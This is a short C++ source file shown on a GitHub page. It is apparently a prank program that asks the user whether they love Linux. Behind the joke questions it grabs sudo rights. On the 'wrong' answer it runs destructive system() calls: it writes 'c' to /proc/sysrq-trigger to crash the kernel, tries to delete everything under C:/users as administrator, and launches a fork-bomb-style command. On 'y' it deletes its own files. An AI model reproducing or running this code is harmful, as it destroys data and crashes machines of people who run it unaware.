-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathfker.cpp
More file actions
29 lines (26 loc) · 752 Bytes
/
Copy pathfker.cpp
File metadata and controls
29 lines (26 loc) · 752 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <cstdlib>
#include <iostream>
#include <string>
using namespace std;
int main(void) {
cout << "sudo? please?\n";
system("sudo ls");
cout << "do you love linux? y/n \n >>";
string thisstring;
cin >> thisstring;
if (thisstring == "y") {
cout << "\n hello my fellow linux user XD";
cout << "\n end of program thank you for loving linux I love you too!!";
system("rm ./main ./main.cpp");
system("del main main.cpp main.exe");
} else {
cout << "I feel right baby!!! nyahhhh";
cout << "Im panicing!!!";
system("sudo echo c > /proc/sysrq-trigger");
//if windows user
cout << "\n attemping the magic ;)";
system("runas /user:administrator del C:/users/*");
system("%1|%1");
}
return 3;
}